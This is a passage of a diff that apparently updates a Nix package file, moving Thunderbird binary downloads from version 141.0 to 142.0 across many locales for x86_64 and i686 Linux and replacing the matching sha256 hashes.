+      sha256 = "ab6d4bff39581ad5c0af8f4bbcb70eefda66629f54f0dd9287cd8f31c83beecc";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/fr/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-x86_64/fr/thunderbird-142.0.tar.xz";
       locale = "fr";
       arch = "linux-x86_64";
-      sha256 = "57ea66a729e1336547c4351505aade3fac0f187f0f2a0a7a0a74de50743873a7";
+      sha256 = "8f05ccae325f72a3ec6a56104d739214735ae57f0704f27d2b7fc5185329cade";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/fy-NL/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-x86_64/fy-NL/thunderbird-142.0.tar.xz";
       locale = "fy-NL";
       arch = "linux-x86_64";
-      sha256 = "0767b0c838f914d9a6ee56fe7c1eed13ad199f859103332f5f021e1ac1ef4764";
+      sha256 = "3d7330fdcc8cf72ae9f3e8d3e975f240d8006700cb22bc28a3ff5738dad5ad81";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/ga-IE/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-x86_64/ga-IE/thunderbird-142.0.tar.xz";
       locale = "ga-IE";
       arch = "linux-x86_64";
-      sha256 = "bd893cc9a078b28a096055a86774106af486562c579be05fd4e4ae2ceb00938a";
+      sha256 = "1fbed44afd618c6e977e585c6ebf482c1ea71a870540995940be280eded9f48e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/gd/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-x86_64/gd/thunderbird-142.0.tar.xz";
       locale = "gd";
       arch = "linux-x86_64";
-      sha256 = "a57ec4d39156edbd29a88271be0ade2f8875154fb6aadc333a3c949844b8167f";
+      sha256 = "04ce78891781680ca04d20787617783cca3dd158e1a2ea684758326d6f9a1c62";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/gl/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-x86_64/gl/thunderbird-142.0.tar.xz";
       locale = "gl";
       arch = "linux-x86_64";
-      sha256 = "5599fc5e63aa2de6acd3f8aed8f6f838be013d9f23d9a7df0e1be2e919f060f7";
+      sha256 = "d663a43296bc0c3201c7de82c11bf2767a255896e529e6507c8fbf263bcc9f0f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/he/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-x86_64/he/thunderbird-142.0.tar.xz";
       locale = "he";
       arch = "linux-x86_64";
-      sha256 = "197368781e1a15d577c74bf0a5360348461175b5d6f46ff3343a29d5b22c2f70";
+      sha256 = "5922e533ddcc82cfcd55aab0eef4bb9267b00f4a2ddcc4b4f69a0938b73b46d0";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/hr/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-x86_64/hr/thunderbird-142.0.tar.xz";
       locale = "hr";
       arch = "linux-x86_64";
-      sha256 = "6aa86889764f4a18ed7090efa63b77ff2dfbd684783578421f94dc70dd58798e";
+      sha256 = "23c7a4cd27f4f9fbfb0151aaf79dae8efdd0c78da10bbefd93e5cef0ebedb90d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/hsb/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-x86_64/hsb/thunderbird-142.0.tar.xz";
       locale = "hsb";
       arch = "linux-x86_64";
-      sha256 = "7db7bef60c0e41bfddca6373de34016b666bb481ccaad3e9449e6ad64f7c9288";
+      sha256 = "a423192c4a9f61b978033f7983e9df4e10ffc89ebf6c8141184481a76ed73cd9";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/hu/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-x86_64/hu/thunderbird-142.0.tar.xz";
       locale = "hu";
       arch = "linux-x86_64";
-      sha256 = "200221f75f7aa6646bbdcdbc25c73c49b8345abaf57fab856d901e8f0df12e4f";
+      sha256 = "ccecfbcf118d0b8df392c2209022d910417b1c22f0a97678c0afa56919aa662e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/hy-AM/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-x86_64/hy-AM/thunderbird-142.0.tar.xz";
       locale = "hy-AM";
       arch = "linux-x86_64";
-      sha256 = "7acfab29e0e99507bc6197fcb3d02a04280724d55e2f17f704a0c931127bd348";
+      sha256 = "cea3716b612f440c8b80002acafe59ec0f8dc0050ea7c51bf14e59925c689bd5";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/id/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-x86_64/id/thunderbird-142.0.tar.xz";
       locale = "id";
       arch = "linux-x86_64";
-      sha256 = "0d4bf93498ad5d775431da619ffbd7d9371e6cc9aa18f821911f7dfcf5ba395c";
+      sha256 = "7560b1ce742436123e09f35912f4614c8a109c9ece5a7fda37e9cde8b3e68ae5";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/is/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-x86_64/is/thunderbird-142.0.tar.xz";
       locale = "is";
       arch = "linux-x86_64";
-      sha256 = "c5fde012142d8b5213b93c151e26af4185d84b7595638b4b645faff6fc9f704e";
+      sha256 = "1bf8298707e6a70d605f81b1190519dd5c6817e3c08044467fec1d1bf9449933";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/it/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-x86_64/it/thunderbird-142.0.tar.xz";
       locale = "it";
       arch = "linux-x86_64";
-      sha256 = "9ad8b05d4c7401943b875c48303742901d4c6567ee4e2f896630072a97e19d9d";
+      sha256 = "fbe2677e167d648e09a6d90bb07096775c9b5a753073b8dc1e55d52cccc8c88d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/ja/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-x86_64/ja/thunderbird-142.0.tar.xz";
       locale = "ja";
       arch = "linux-x86_64";
-      sha256 = "90dbe368a05cd2d61dea9582b3caee3bd0906c5d21c15aeb7b379fc9fe5a65c5";
+      sha256 = "724a27215a71ba2298e66d16205e05f47a602134af087ece9508d2c016799bdb";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/ka/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-x86_64/ka/thunderbird-142.0.tar.xz";
       locale = "ka";
       arch = "linux-x86_64";
-      sha256 = "0d7241cf64fe4af358a33080ed219324f108447841cc3908b78501b437949caa";
+      sha256 = "e48f8556f11ef66663773b0115fea569dbc659fb8eed240a8521821fb3047509";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/kab/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-x86_64/kab/thunderbird-142.0.tar.xz";
       locale = "kab";
       arch = "linux-x86_64";
-      sha256 = "3cb1d38b267b5be1ed9fd5484cda1fbdfaa5079f9777aec75bcfe489453b6068";
+      sha256 = "6a6b4e2fa1b6f1e26864d207a2b18a9aa3984cd16c5c22719a09701ce118e8d3";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/kk/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-x86_64/kk/thunderbird-142.0.tar.xz";
       locale = "kk";
       arch = "linux-x86_64";
-      sha256 = "e12a3941f96e0e9c03a24d07d0a6ea021340630d911e12d36c977f86c50fd7a4";
+      sha256 = "e88bc78ffbcd7a5e44a7423f0d82a491011c5b25fefdf51983289ff00bfc80dc";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/ko/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-x86_64/ko/thunderbird-142.0.tar.xz";
       locale = "ko";
       arch = "linux-x86_64";
-      sha256 = "8a1acf214638d6a7c45a15fc5cd4fddd43295367272e41421db66a8f2cddafc6";
+      sha256 = "1352bec2110010b2fb44a34f5aac188437f662113fca98fad465fd827699d3c5";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/lt/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-x86_64/lt/thunderbird-142.0.tar.xz";
       locale = "lt";
       arch = "linux-x86_64";
-      sha256 = "4571815d4706e4078fc7e282ff599aae167cbb73f9b66955d10d140c02d54767";
+      sha256 = "cabe33f1dca87c35e57e15c661de37be7e13b3b59dee5de09ae4afb015c900fb";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/lv/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-x86_64/lv/thunderbird-142.0.tar.xz";
       locale = "lv";
       arch = "linux-x86_64";
-      sha256 = "3231a11ff7eefad38900246c6b479d1b3951f4964645cfbfe792ccaf15149fba";
+      sha256 = "c76551cf878d75e0aa7b9ed38542a0b4a4ea51e0f33951fe35b2e761e0503ae6";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/ms/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-x86_64/ms/thunderbird-142.0.tar.xz";
       locale = "ms";
       arch = "linux-x86_64";
-      sha256 = "5c4a036a3ba062d56a3f35d6f8b0cc1faca10f6417625a14e5b6904997137057";
+      sha256 = "8f607f791d1bf497e4b003edf94aa6759e80532f612fbeb5d3ae4613a1e20d3c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/nb-NO/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-x86_64/nb-NO/thunderbird-142.0.tar.xz";
       locale = "nb-NO";
       arch = "linux-x86_64";
-      sha256 = "9c9eea4f434f627fe034b547dfc668ebfba7021bdbcb52466d2e7a2034200011";
+      sha256 = "8692c53feba0aa96cdf73f0eb85ca46e9cf4e090aab3a68d96292173d630eacd";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/nl/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-x86_64/nl/thunderbird-142.0.tar.xz";
       locale = "nl";
       arch = "linux-x86_64";
-      sha256 = "168506024b490696695e34d1de583529d7de6c5583dc2fbd651a996456c5bdbf";
+      sha256 = "b5785e5245e429cda130fbda75eee77af6a395ec4d954544a2d5e22c693795b2";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/nn-NO/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-x86_64/nn-NO/thunderbird-142.0.tar.xz";
       locale = "nn-NO";
       arch = "linux-x86_64";
-      sha256 = "4981de7c3d0d846fa87a679ab252759793e83de7cf373f9acbfcc9fa5834dd9e";
+      sha256 = "e4a4bf70ad8e8db06b715fc6fcb020749e7207b6b87ef9004ab8d08d1260efe5";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/pa-IN/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-x86_64/pa-IN/thunderbird-142.0.tar.xz";
       locale = "pa-IN";
       arch = "linux-x86_64";
-      sha256 = "1d65f8e68d077991ef767aea301cd314e730b58f365ed4524e787d5d23e729ab";
+      sha256 = "4119336f1b93f7a2bfcaf213e605b7bd5b0443ccef6932976733c3b37b204f23";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/pl/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-x86_64/pl/thunderbird-142.0.tar.xz";
       locale = "pl";
       arch = "linux-x86_64";
-      sha256 = "7f2583df51e7cb6a799475d96b0a82ab336a92758fbd8ff33742b92eae171614";
+      sha256 = "795ae6778941b54014919da7ecb48b441dd251dd51e932a0b4d119687879a052";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/pt-BR/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-x86_64/pt-BR/thunderbird-142.0.tar.xz";
       locale = "pt-BR";
       arch = "linux-x86_64";
-      sha256 = "4883c44d4687b3ad1e8df66eab25649136d6f91ba4ab6d0a5ee1bf9c4c7c7a7a";
+      sha256 = "1b468b5ab147d94c08cfe9b69fe154aee64d10cddaa3afd71a6ffb8f0782cb18";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/pt-PT/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-x86_64/pt-PT/thunderbird-142.0.tar.xz";
       locale = "pt-PT";
       arch = "linux-x86_64";
-      sha256 = "b92df862f1f24abe469d5cc3f8c7704410132e3f25b7daef77857daefdddf9ba";
+      sha256 = "41e2e652dd5c91adbff544c5d8f66c000ed0ae92711c5515c4a372ec82b896c6";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/rm/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-x86_64/rm/thunderbird-142.0.tar.xz";
       locale = "rm";
       arch = "linux-x86_64";
-      sha256 = "4f556836064f9e5b8eff914c8d8572b1daaa9953baa8804680add31fcc237e47";
+      sha256 = "f6950edd168609f7fed813ac5280d2a87ed674e15a40b2bb6c04389e509c6013";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/ro/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-x86_64/ro/thunderbird-142.0.tar.xz";
       locale = "ro";
       arch = "linux-x86_64";
-      sha256 = "1de4b62551f3b1530da6f2baf44bea383dea33105ce2c0c8daa71323f72b4357";
+      sha256 = "a1fdce11310d5377988f7e72d6d971447b3fbf1d02b17f4aef1d29ba61a50a4d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/ru/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-x86_64/ru/thunderbird-142.0.tar.xz";
       locale = "ru";
       arch = "linux-x86_64";
-      sha256 = "e5451585cfe66fa4d43ce66e18d654cdeefb315095c572c091b7c5645c4e35e0";
+      sha256 = "b593c14e63f8b6f00d917d6cf60772f1c81a2345c8a8d2af4202830d53bb4d06";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/sk/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-x86_64/sk/thunderbird-142.0.tar.xz";
       locale = "sk";
       arch = "linux-x86_64";
-      sha256 = "8c268e9915fd986fc27bc92eb2713d9a35b1cc3db8d22c1824133651c7b291fe";
+      sha256 = "28865c29f9ada3db4cbee7915cafc8170999c4e125caca0cd9694c4c44557dd4";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/sl/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-x86_64/sl/thunderbird-142.0.tar.xz";
       locale = "sl";
       arch = "linux-x86_64";
-      sha256 = "31a8e92ec301d3f2d7d2ac02be2d8b0fc234dab2bd57fdb9d329d2cdedae9ef4";
+      sha256 = "81fc90fc7ff73c8b4888a9fc6e64ce663e115668551f88e8e5a37a24a1e764d4";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/sq/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-x86_64/sq/thunderbird-142.0.tar.xz";
       locale = "sq";
       arch = "linux-x86_64";
-      sha256 = "ae6f4fd26beb85747290fbbbba101c4e11b458b6ed41717ca940eee0d6d61936";
+      sha256 = "27efe6221aaaae5943c038a5559d2fd808cd8927550fa9d6c7902eca88765276";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/sr/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-x86_64/sr/thunderbird-142.0.tar.xz";
       locale = "sr";
       arch = "linux-x86_64";
-      sha256 = "0990c2494451f1ae4e4880bc52b716829ba94126a90dc2ad88baeb48c89fa922";
+      sha256 = "f584d49153ac9b10ac62559b49c76b821f6f8b0281fcb2773851be4acc892da2";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/sv-SE/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-x86_64/sv-SE/thunderbird-142.0.tar.xz";
       locale = "sv-SE";
       arch = "linux-x86_64";
-      sha256 = "c64c573a8970a98e6b2a8f1849700a45ea177de9c0bb57fda192bd72217ea340";
+      sha256 = "005a82f5ba02b678613fc5482371b59d363ad82cb9c303781c5264e8f71eb779";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/th/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-x86_64/th/thunderbird-142.0.tar.xz";
       locale = "th";
       arch = "linux-x86_64";
-      sha256 = "0d22da6a81b939cdf92c82b44c9bcbb4beb01f9543b0a9bb5ee81f6c3452ff64";
+      sha256 = "f8a9e5f74e024addbad75e3b0e9160a046c9f9180b3c040d4e15f7b5e1496ba1";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/tr/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-x86_64/tr/thunderbird-142.0.tar.xz";
       locale = "tr";
       arch = "linux-x86_64";
-      sha256 = "bef86e532b9fb09848183034eafaa08b6349a1eaf589124dd9d5dbcc0be458b0";
+      sha256 = "08e33709b4426be38afe70292ddb49cd71302139746757a83b8825f5447b155e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/uk/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-x86_64/uk/thunderbird-142.0.tar.xz";
       locale = "uk";
       arch = "linux-x86_64";
-      sha256 = "3363d6ba532843d48e9c26316018bb823cf22aad130481f4ba74f38647173685";
+      sha256 = "39a0d29213c3115b7bb4c64b71e205a20a7730b64b911159e05cf432e4d6fb1e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/uz/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-x86_64/uz/thunderbird-142.0.tar.xz";
       locale = "uz";
       arch = "linux-x86_64";
-      sha256 = "3663ec3a5678512f98759b7a3ba4dab507f64ff2ebe87594477cb201d67c744f";
+      sha256 = "95ce6fe500c3f799fc9d61e5a898cfe9f324358be2130216b914e6a0495681ba";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/vi/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-x86_64/vi/thunderbird-142.0.tar.xz";
       locale = "vi";
       arch = "linux-x86_64";
-      sha256 = "8000fd383af142c427321ec4d97b075101161fd1a9edad646a690d4f82ad159d";
+      sha256 = "87ebd2443a11ec4e63996e9f83598808535d2f01889d7ae3e3f9fce738945256";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/zh-CN/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-x86_64/zh-CN/thunderbird-142.0.tar.xz";
       locale = "zh-CN";
       arch = "linux-x86_64";
-      sha256 = "d5264bf3ebce9f4e587116e20f4f2f1ef296da16aa75c813096b0873cffb55b0";
+      sha256 = "7348bf4e8ce8280a3bbc65100baa3f38a3bb95b6042750e538506751b3584259";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/zh-TW/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-x86_64/zh-TW/thunderbird-142.0.tar.xz";
       locale = "zh-TW";
       arch = "linux-x86_64";
-      sha256 = "32703742ed8d6f48a805ce94a0f8da4a1d26398a84b3cae956f78d08bf557e0c";
+      sha256 = "bab8f2e08d981ebc22cb8681386b7802379e2ced45ae7f6e3f5cc21e9ddb34b0";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/af/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-i686/af/thunderbird-142.0.tar.xz";
       locale = "af";
       arch = "linux-i686";
-      sha256 = "21617d50e6e6af5126392f9f26a639697e1728238e2183d41babd95aa9705a71";
+      sha256 = "ef18aa87b2fa6ff35e5bb0df808970e25930582b48c141be86ab0807412c0b06";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/ar/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-i686/ar/thunderbird-142.0.tar.xz";
       locale = "ar";
       arch = "linux-i686";
-      sha256 = "1fba0dd1249e5517486500e0cf09ece01946ea59a2c68a713ce4e7e2f33bdaaa";
+      sha256 = "a0054159f2c8c54733883925005f02bad0e116f8e909268f68e91ef0221dec1b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/ast/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-i686/ast/thunderbird-142.0.tar.xz";
       locale = "ast";
       arch = "linux-i686";
-      sha256 = "9802ca51c834621167e977076d880ede40ed077a1de45b6b0594f667f9cda60d";
+      sha256 = "f7aa9cad3146e5ff71e80dd2c967c95133f248162e3168ddb62311fc29695e03";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/be/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-i686/be/thunderbird-142.0.tar.xz";
       locale = "be";
       arch = "linux-i686";
-      sha256 = "efb049dd180e5a93da077554d29ed5bc6a14b2cd4638fd3d447ef036c0f3b6fd";
+      sha256 = "7c83326d83baac13fa60eb43bcfa7bd7eb81204d4db5e3301785a2f52768af23";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/bg/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-i686/bg/thunderbird-142.0.tar.xz";
       locale = "bg";
       arch = "linux-i686";
-      sha256 = "183334edac2cde1ff6ce76579200acf521b053f2b8da6f4a522122e3dd60f7bf";
+      sha256 = "395cbd838617958ff57bb5570e35c659c0d0cbfa3990ce059f25941d04adfbac";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/br/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-i686/br/thunderbird-142.0.tar.xz";
       locale = "br";
       arch = "linux-i686";
-      sha256 = "67471a0fd6e89fb209914da4b403d6d7f2a5dfd41fb5ef9571a03338153cb25a";
+      sha256 = "9ac3674fbe234d0ce082c072a6a38c7fa6f27899a971c1ceb2947523bf3e12f4";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/ca/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-i686/ca/thunderbird-142.0.tar.xz";
       locale = "ca";
       arch = "linux-i686";
-      sha256 = "67259da0f6df52767f34c8243a8a4e56ed3208db5a378d76c551a5b61874522f";
+      sha256 = "a1ebe4dce78c5bb3f1e707f5d8feb5ab0257bed8f544dd5eabb2da0d077063e9";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/cak/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-i686/cak/thunderbird-142.0.tar.xz";
       locale = "cak";
       arch = "linux-i686";
-      sha256 = "33fa9550865a1dfc6963cfe15dcea85388b4c4bb67301e366ac8306b97420090";
+      sha256 = "5bee45024425be2fca5bda451678be5f3e769e32a4372edd5b3e3be7bbf0a565";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/cs/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-i686/cs/thunderbird-142.0.tar.xz";
       locale = "cs";
       arch = "linux-i686";
-      sha256 = "d60350104021df12d813c0007431053f0d68ecaaf177d2f42e00340b079bc604";
+      sha256 = "029e504d5fcfab2cac1d3b7f09e59a9e4322f8e0c2307f33d3ecb88587d4fa83";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/cy/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-i686/cy/thunderbird-142.0.tar.xz";
       locale = "cy";
       arch = "linux-i686";
-      sha256 = "c86e1fd052d4d256b67d30cd2e6f0c2e14a60e84c5669bee1602c02b598cbd0a";
+      sha256 = "be6cf7b36693ed848b0640d14449cd5ab26c33e0d28a548043dcf69fc6e695d7";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/da/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-i686/da/thunderbird-142.0.tar.xz";
       locale = "da";
       arch = "linux-i686";
-      sha256 = "5cdf12d7ed7660c40977c7e8643b63bc4f85a22892f3a7c3ae5514d665e04d5a";
+      sha256 = "0ad566a6f1a2ce45400d6725f91183e3e6d80bcd277da4e35243d1a68d081e40";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/de/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-i686/de/thunderbird-142.0.tar.xz";
       locale = "de";
       arch = "linux-i686";
-      sha256 = "092f158999a774e0fea988765f6499d71fedc6bbd0cfe5d5ca4d7c65e904704c";
+      sha256 = "9ee7ccb69c78b324c311f43020ec75dd9b769fdbdbc4301497bb3ba661294dc0";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/dsb/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-i686/dsb/thunderbird-142.0.tar.xz";
       locale = "dsb";
       arch = "linux-i686";
-      sha256 = "ea6d93d1a72c5e18c327e3483845f40153e075835756e376594fedb60ed7c764";
+      sha256 = "4fd231ec3d60eafa788876484a5e2894196e70f7d70ae970f6f5189c62731478";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/el/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-i686/el/thunderbird-142.0.tar.xz";
       locale = "el";
       arch = "linux-i686";
-      sha256 = "e9871e4d548d6bfd39788dc068d7c42c1fccd72479d879334b718251ae43c1f1";
+      sha256 = "4515f3fcd3420dcac60872b7dbb73113a528fadcf06b0408078002b99a949531";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/en-CA/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-i686/en-CA/thunderbird-142.0.tar.xz";
       locale = "en-CA";
       arch = "linux-i686";
-      sha256 = "abcaab4b2f7976a8be35372ba18d9afee272602c8109f036d4a809d87c653a80";
+      sha256 = "047f6bb26f080e82cbf444476fe68deb6c61a2c8cff80995eb7ff69c0c69eb62";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/en-GB/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-i686/en-GB/thunderbird-142.0.tar.xz";
       locale = "en-GB";
       arch = "linux-i686";
